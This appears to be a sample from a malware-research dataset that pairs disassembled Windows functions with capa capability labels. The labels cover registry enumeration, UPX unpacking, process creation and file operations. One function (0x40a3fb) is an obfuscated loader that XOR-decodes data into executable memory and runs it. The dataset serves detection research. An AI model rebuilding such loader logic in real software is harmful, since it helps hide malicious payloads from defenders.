joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4864f0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff18
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xe8], ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404dc4
xor eax, eax
push ebp
push 0x4865f7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004049dc
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x48654f
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.00404e7c
lea eax, [ebp - 0x18]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 8]
call fcn.00404dd4
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
mov ebx, eax
test ebx, ebx
jne 0x4865d1
xor ebx, ebx
mov dword [ebp - 0x14], 0xc8
jmp 0x4865a5
lea eax, [ebp - 0xe8]
lea edx, [ebp - 0xe1]
mov ecx, 0xc9
call fcn.00404bb4
mov edx, dword [ebp - 0xe8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
mov dword [ebp - 0x14], 0xc8
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xe1]
push eax
push ebx
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
je 0x48657a
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4865fe
lea eax, [ebp - 0xe8]
call fcn.00404944
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404968
ret

Function at 0x486de0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
xor eax, eax
push ebp
push 0x486ea0
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
movzx esi, bl
mov edx, esi
add edx, 0x61
call fcn.00404b2c
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 4]
mov ecx, 0x486eb8
call fcn.00404c5c
mov eax, dword [ebp - 4]
call fcn.00404dd4
push eax
call sub.kernel32.dll_GetDriveTypeA
dec eax
je 0x486e77
lea eax, [ebp - 0x14]
mov edx, esi
add edx, 0x41
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x18]
call fcn.0040329c
mov edx, 0x486ebc
lea eax, [ebp - 0x18]
mov cl, 2
call fcn.0040326c
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x10]
call fcn.00404ba8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp bl, 0x1a
jne 0x486e06
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x486ea7
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404968
lea eax, [ebp - 4]
call fcn.00404944
ret
Function at 0x581570
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x107000]
push edi
or ebp, 0xffffffff
jmp 0x581592
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x581599
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x581588
mov eax, 1
add ebx, ebx
jne 0x5815ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5815bc
jne 0x5815cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5815cc
dec eax
add ebx, ebx
jne 0x5815c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5815a0
xor ecx, ecx
sub eax, 3
jb 0x5815e4
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x581656
sar eax, 1
mov ebp, eax
jmp 0x5815ef
add ebx, ebx
jne 0x5815ef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x5815fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x581620
inc ecx
add ebx, ebx
jne 0x58160c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x581601
jne 0x58161d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x581601
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x581640
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x581631
jmp 0x58158e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x581640
add edi, ecx
jmp 0x58158e
pop esi
mov edi, esi
mov ecx, 0x5a38
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x58165e
cmp byte [edi], 0x22
jne 0x58165e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x581663
lea edi, [esi + 0x17d000]
mov eax, dword [edi]
or eax, eax
je 0x5816db
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1830e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x183220]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x581690
mov ecx, edi
jns 0x5816bf
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x183224]
or eax, eax
je 0x5816d5
mov dword [ebx], eax
add ebx, 4
jmp 0x5816ad
call dword [esi + 0x183228]
popal
jmp 0x4b5aa3
Function at 0x1001a6a0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1001a875
pushal
mov esi, section._268521472
lea edi, [esi - 0x14000]
push edi
or ebp, 0xffffffff
jmp 0x1001a6ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1001a6d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1001a6c0
mov eax, 1
add ebx, ebx
jne 0x1001a6e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1001a6f4
jne 0x1001a713
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1001a713
dec eax
add ebx, ebx
jne 0x1001a700
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1001a6d8
add ebx, ebx
jne 0x1001a70f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1001a765
xor ecx, ecx
sub eax, 3
jb 0x1001a72b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1001a79a
sar eax, 1
mov ebp, eax
jmp 0x1001a736
add ebx, ebx
jne 0x1001a736
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1001a704
inc ecx
add ebx, ebx
jne 0x1001a744
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1001a704
add ebx, ebx
jne 0x1001a751
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1001a746
jne 0x1001a762
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1001a746
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1001a784
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1001a776
jmp 0x1001a6c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1001a784
add edi, ecx
jmp 0x1001a6c6
pop esi
mov edi, esi
mov ecx, 0x7894
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x1001a7bf
cmp byte [edi], 1
jne 0x1001a7a4
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x1001a7a2
lea edi, [esi + 0x18000]
mov eax, dword [edi]
or eax, eax
je 0x1001a807
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a0a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1001a7c5
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a0ac]
or eax, eax
je 0x1001a801
mov dword [ebx], eax
add ebx, 4
jmp 0x1001a7e2
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1001a838
cmp al, 0xef
ja 0x1001a82b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1001a80d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1001a81a
mov ebp, dword [esi + 0x1a0b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1001a86c
sub esp, 0xffffff80
jmp 0x10002fb0
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40a3fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40a40a
pop dword [ebp - 0x48]
mov eax, 0x40a40a
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x1ac6ba8b
add dword [ebp - 0x58], 0x338b8ac0
mov dword [ebp - 0x54], 0x835f7930
add dword [ebp - 0x54], 0xaed3d315
mov dword [ebp - 0x50], 0xbe12fe16
add dword [ebp - 0x50], 0x8e394618
mov dword [ebp - 0x4c], 0x5fa213c8
sub dword [ebp - 0x4c], 0x5fa213c8
lea eax, [ebp - 0x58]
push eax
mov eax, 0x701d2661
add eax, 0x90250a13
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xbbe4e197
add dword [ebp - 0x58], 0xb88d87bf
mov dword [ebp - 0x54], 0x75258353
add dword [ebp - 0x54], 0xcc46de22
mov dword [ebp - 0x50], 0xf33c440a
add dword [ebp - 0x50], 0x70332862
mov dword [ebp - 0x4c], 0x15663b16
sub dword [ebp - 0x4c], 0x15663b16
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x5a79fe8c
sub eax, 0x5a37cd68
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3ba1f
push 0
call eax
mov ecx, 0x56c0cd28
add ecx, 0xa93f72a1
mov edx, eax
mov edi, 0x434400
add edi, dword [ebp - 0x48]
mov esi, 0xe7036422
sub esi, 0xeb86604e
mov dword [ebp - 0x28], 0x8606059a
mov ebx, dword [edi]
sub dword [ebp - 0x24], edx
xor ebx, esi
add dword [ebp - 0x24], 0xfe1f840b
mov dword [edx], ebx
add edx, 0x5899ca86
add edx, 0xa766357e
add edi, 4
loop 0x40a521
add eax, 0xa20741ab
sub eax, 0xa2064fb4
xor ebx, ebx
add ebx, eax
add eax, 0xd99b610c
add eax, 0x26649ef9
mov ecx, 0xa7385e6e
sub ecx, 0xa6f85e6e
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401b90
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x43f6c6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov dword [esi], fcn.00416f80
push edi
xor edi, edi
mov dword [esp + 8], esi
mov dword [esi + 8], 0x445188
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esp + 0x14], edi
mov dword [esi + 0x1c], 0x4451dc
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], 0x11
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], 0xa
mov dword [esi + 4], edi
mov eax, dword [esi + 0x20]
cmp eax, edi
mov byte [esp + 0x14], 1
je 0x401c09
push eax
call sub.MFC71U.DLL_operator_new
add esp, 4
mov dword [esi + 0x20], edi
push 0x2c
call sub.MFC71U.DLL_SerializeElements
mov edi, eax
add esp, 4
mov dword [esi + 0x20], edi
xor eax, eax
mov ecx, 0xb
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x24], 0xb
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x407ea0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x624
mov eax, dword [0x45a1e8]
push ebx
mov dword [esp + 0x624], eax
cmp dword [ecx + 0xb8], 0xffffffff
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x407edf
xor al, al
mov ecx, dword [esp + 0x62c]
call fcn.0043ef61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor eax, eax
xor esi, esi
mov word [esp + 0x218], si
mov ecx, 0x81
lea edi, [esp + 0x21a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x218]
push 0x104
push eax
call dword [sym.imp.ServiceCore.dll_public:_static_bool___cdecl_CWHService::GetWorkDirectory_wchar_t__const__unsigned_short_int_]
mov ebx, dword [sym.imp.MSVCR71.dll__snwprintf]
mov word [esp + 0x18], si
xor eax, eax
mov ecx, 0x81
lea edi, [esp + 0x1a]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x220]
push ecx
push str._sDownLoad
lea edx, [esp + 0x20]
push 0x104
push edx
stosw word es:[edi], ax
call ebx
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
test edx, edx
jbe 0x407f5e
cmp word [esi + edx*2], 0x2f
je 0x407f5e
dec edx
jne 0x407f54
xor eax, eax
mov word [esp + 0x420], 0
mov ecx, 0x81
lea edi, [esp + 0x422]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esi + edx*2 + 2]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0x446bf0
lea edx, [esp + 0x42c]
push 0x104
push edx
call ebx
add esp, 0x14
push 0
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx + 0xb4]
push 0
add ecx, 0xb4
push 0x1001
lea eax, [esp + 0x428]
push eax
call dword [edx + 0x28]
mov ecx, dword [esp + 0x62c]
test eax, eax
setne al
call fcn.0043ef61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408340
Capabilities:
Create process on windows
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43fd0c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x480
mov eax, dword [0x45a1e8]
push ebx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0x484], eax
xor eax, eax
xor esi, esi
mov word [esp + 0x70], si
mov ecx, 0x81
lea edi, [esp + 0x72]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x14], ebx
add ebx, 0xb4
stosw word es:[edi], ax
mov eax, dword [ebx]
push ecx
mov ecx, ebx
call dword [eax + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push str..Zip
mov dword [esp + 0x498], esi
call edi
lea ecx, [esp + 0xc]
mov esi, eax
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
push eax
call edi
sub eax, esi
shl eax, 1
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], eax
mov word [esp + eax + 0x70], 0
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
mov ecx, dword [esp + 0x10]
mov edx, ecx
shr ecx, 2
mov esi, eax
mov eax, dword [ebx]
lea edi, [esp + 0x70]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, ebx
call dword [eax + 0x54]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 9
xor ebx, ebx
push ebx
push ebx
lea edx, [esp + 0x7c]
push edx
lea ecx, [esp + 0x1c]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
test eax, eax
je 0x4084b3
mov esi, dword [esp + 0x14]
cmp word [esi + 0x70], bx
je 0x40844b
lea eax, [esp + 0x70]
push eax
push str._s__VERYSILENT
push 0x104
lea ecx, [esp + 0x284]
push ecx
jmp 0x408462
lea edx, [esp + 0x70]
push edx
push 0x446c94
push 0x104
lea eax, [esp + 0x284]
push eax
call dword [sym.imp.MSVCR71.dll__snwprintf]
add esp, 0x10
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea ecx, [esi + 0xa74]
push ecx
lea edx, [esp + 0x2c]
push edx
push ebx
push ebx
push 0x4000000
push ebx
push ebx
push ebx
lea eax, [esp + 0x298]
push eax
push ebx
mov dword [esp + 0x50], 0x44
mov word [esp + 0x80], 0xa
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4084c1
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
xor al, al
jmp 0x408511
cmp dword [esi + 0x20], ebx
jne 0x4084f3
mov eax, dword [esi + 0xa70]
mov edx, dword [esi]
push ebx
push 0x64
push eax
lea ecx, [esp + 0x24]
push ecx
push 0x40000000
push ebx
push ebx
mov ecx, esi
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
call dword [edx + 0x5c]
mov edx, dword [esi + 0x20]
push ebx
push 0x64
push 0xc8
push edx
call dword [sym.imp.USER32.dll_SetTimer]
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
mov al, 1
mov ecx, dword [esp + 0x48c]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x484]
call fcn.0043ef61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4262c0
Capabilities:
Terminate process

Disassembly:
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x20]
test eax, eax
je 0x4262d4
push 0x64
push eax
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [esi + 0x5c]
test eax, eax
je 0x4263a9
mov eax, dword [esi + 0x70]
test eax, eax
je 0x42632e
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x42632e
mov ecx, dword [esi + 0x2ac]
test ecx, ecx
je 0x426310
mov eax, dword [esi + 0x70]
test eax, eax
je 0x426310
mov edx, dword [ecx]
push 0
push 0
push 0x64
push 2
push eax
call dword [edx + 0x20]
mov eax, dword [esi + 0x5c]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x42634d
mov ecx, dword [esi + 0x5c]
push 0
push ecx
jmp 0x426347
mov edx, dword [esi + 0x5c]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x42634d
mov eax, dword [esi + 0x5c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x5c]
push edi
lea ecx, [esp + 8]
push ecx
push edx
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [esi + 0x60]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x426375
push eax
call edi
mov eax, dword [esi + 0x5c]
test eax, eax
je 0x42637f
push eax
call edi
xor eax, eax
mov dword [esi + 0x70], 0
mov dword [esi + 0x5c], eax
mov dword [esi + 0x60], eax
mov dword [esi + 0x64], eax
mov dword [esi + 0x68], eax
cmp byte [esp + 0x10], 1
pop edi
jne 0x4263a9
mov ecx, dword [esi + 0x6c]
mov eax, dword [esp + 4]
mov edx, dword [ecx]
push eax
call dword [edx + 0xc]
mov al, 1
pop esi
pop ecx
ret 4
Function at 0x4263b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x260
mov eax, dword [0x45a1e8]
push ebp
push esi
mov esi, ecx
mov dword [esp + 0x264], eax
mov eax, dword [esi + 0x6c]
xor ebp, ebp
cmp eax, ebp
jne 0x4263e8
pop esi
xor al, al
pop ebp
mov ecx, dword [esp + 0x25c]
call fcn.0043ef61
add esp, 0x260
ret 4
cmp dword [esi + 0x20], ebp
jne 0x426428
mov dword [esp + 8], ebp
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
call sub.MFC71U.DLL_AfxGetStringManager
cmp eax, ebp
je 0x42640f
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x7c]
jmp 0x426411
xor eax, eax
mov edx, dword [esi]
push ebp
push 0x64
push eax
lea eax, [esp + 0x14]
push eax
push 0x40000000
push ebp
push ebp
mov ecx, esi
call dword [edx + 0x5c]
cmp dword [esi + 0x2ac], ebp
push ebx
push edi
jne 0x42647e
lea ecx, [esi + 0x74]
call fcn.00425600
test al, al
je 0x42654f
mov edi, dword [esi + 0x2ac]
mov edx, dword [esi + 0x54]
mov ebx, dword [edi]
lea ecx, [esi + 0x54]
push 0x6010100
push 0x44ced0
call dword [edx + 4]
push eax
mov ecx, edi
call dword [ebx + 0xc]
test al, al
je 0x42654f
mov ecx, dword [esi + 0x2ac]
mov eax, dword [ecx]
call dword [eax + 0x10]
test al, al
je 0x42654f
mov eax, dword [esi + 0x5c]
cmp eax, ebp
lea ebx, [esi + 0x5c]
je 0x4264cb
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4264cb
mov eax, dword [esi + 0x70]
cmp eax, ebp
je 0x426565
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x426565
mov ecx, dword [esi + 0x6c]
mov edx, dword [ecx]
push 1
call dword [edx + 0x10]
push 0x65
push 2
mov ecx, esi
call fcn.00425ab0
jmp 0x426565
mov ecx, dword [esi + 0x2ac]
mov eax, dword [ecx]
call dword [eax + 8]
mov edi, eax
call dword [sym.imp.PlatformData.dll_public:_static_class_CParameterGlobal____cdecl_CParameterGlobal::GetInstance_void_]
mov ecx, dword [esp + 0x274]
mov eax, edi
cdq
push edx
push eax
push ecx
push 0x44d0d8
lea edx, [esp + 0x74]
push 0x104
push edx
call dword [sym.imp.MSVCR71.dll__snwprintf]
add esp, 0x18
push ebx
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
push eax
push ebp
push ebp
push 0x4000000
push ebp
push ebp
push ebp
lea ecx, [esp + 0x84]
push ecx
push ebp
mov dword [esp + 0x48], 0x44
mov word [esp + 0x78], 3
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x426553
xor edx, edx
mov dword [ebx], edx
mov dword [ebx + 4], edx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], edx
xor al, al
jmp 0x426567
mov eax, dword [esi + 0x20]
push ebp
push 0x4e20
push 0x64
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov al, 1
mov ecx, dword [esp + 0x26c]
pop edi
pop ebx
pop esi
pop ebp
call fcn.0043ef61
add esp, 0x260
ret 4
Function at 0x42cb80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x15c
cmp word [ebp + 0xc], 0x14a
mov eax, dword [0x45a1e8]
push ebx
push esi
mov dword [esp + 0x160], eax
push edi
mov esi, ecx
je 0x42cbbc
xor al, al
mov ecx, dword [esp + 0x164]
call fcn.0043ef61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [ebp + 8]
cmp word [ebx], 0x12
jne 0x42cbe0
mov edx, dword [ebx + 6]
mov eax, dword [esi + 0x746c]
push edx
lea edx, [ebx + 0x4a]
push edx
lea ecx, [esi + 0x746c]
lea edx, [ebx + 0xa]
push edx
call dword [eax + 0x44]
cmp word [ebx], 0x13
jne 0x42cc01
mov edx, dword [ebx + 6]
mov eax, dword [esi + 0x746c]
push edx
lea edx, [ebx + 0x4a]
push edx
lea ecx, [esi + 0x746c]
lea edx, [ebx + 0xa]
push edx
call dword [eax + 0x48]
mov ecx, dword [esi + 0xc0]
mov eax, dword [ecx]
call dword [eax + 0x28]
cmp dword [ebx + 2], eax
jne 0x42cc3f
mov ecx, dword [esi + 0xc0]
mov edx, dword [ecx]
call dword [edx + 0x14]
cmp word [ebx], 0x12
jne 0x42cc25
dec word [eax]
cmp word [ebx], 0x13
jne 0x42cc2f
dec word [eax + 2]
mov ecx, dword [esi + 0x1ef0]
test ecx, ecx
je 0x42cc3f
call dword [sym.imp.GameProperty.dll_public:_void___thiscall_CDlgTrumpetItem::UpdateControlSurface_void_]
lea ecx, [esi + 0x1ae4]
mov dword [esp + 0xc], ecx
call fcn.004255e0
test al, al
je 0x42cc9b
mov eax, dword [ebx + 2]
mov cx, word [ebx]
mov edx, dword [ebx + 6]
mov word [esp + 0x10], cx
mov dword [esp + 0x14], eax
push 0x14c
mov dword [esp + 0x1c], edx
lea eax, [esp + 0x14]
lea esi, [ebx + 0xa]
mov ecx, 0x10
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
push eax
lea esi, [ebx + 0x4a]
mov ecx, 0x40
lea edi, [esp + 0x64]
push 0x68
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x18]
push 5
call fcn.00425ae0
call dword [sym.imp.PlatformData.dll_public:_static_class_CParameterGlobal____cdecl_CParameterGlobal::GetInstance_void_]
mov cl, byte [eax + 0x1a]
test cl, cl
je 0x42cd26
call sub.MFC71U.DLL_AfxGetModuleShortFileName
mov esi, dword [eax + 8]
call dword [sym.imp.GameEngine.dll_public:_static_class_CD3DSound____cdecl_CD3DSound::GetInstance_void_]
test eax, eax
je 0x42ccdf
cmp word [ebx], 0x12
mov ecx, str.BUGLE
je 0x42ccca
mov ecx, 0x44ddd8
push 0
push 0x44b860
push ecx
push esi
mov ecx, eax
call dword [sym.imp.GameEngine.dll_public:_bool___thiscall_CD3DSound::PlaySoundW_struct_HINSTANCE_____wchar_t_const___wchar_t_const___bool_]
test al, al
jne 0x42cd26
cmp word [ebx], 0x12
mov eax, str.BUGLE
je 0x42ccef
mov eax, 0x44ddd8
push 0x44b860
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x42cd26
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x42cd1f
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push 7
push esi
push eax
call dword [sym.imp.WINMM.dll_PlaySoundW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esp + 0x164]
mov al, 1
call fcn.0043ef61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8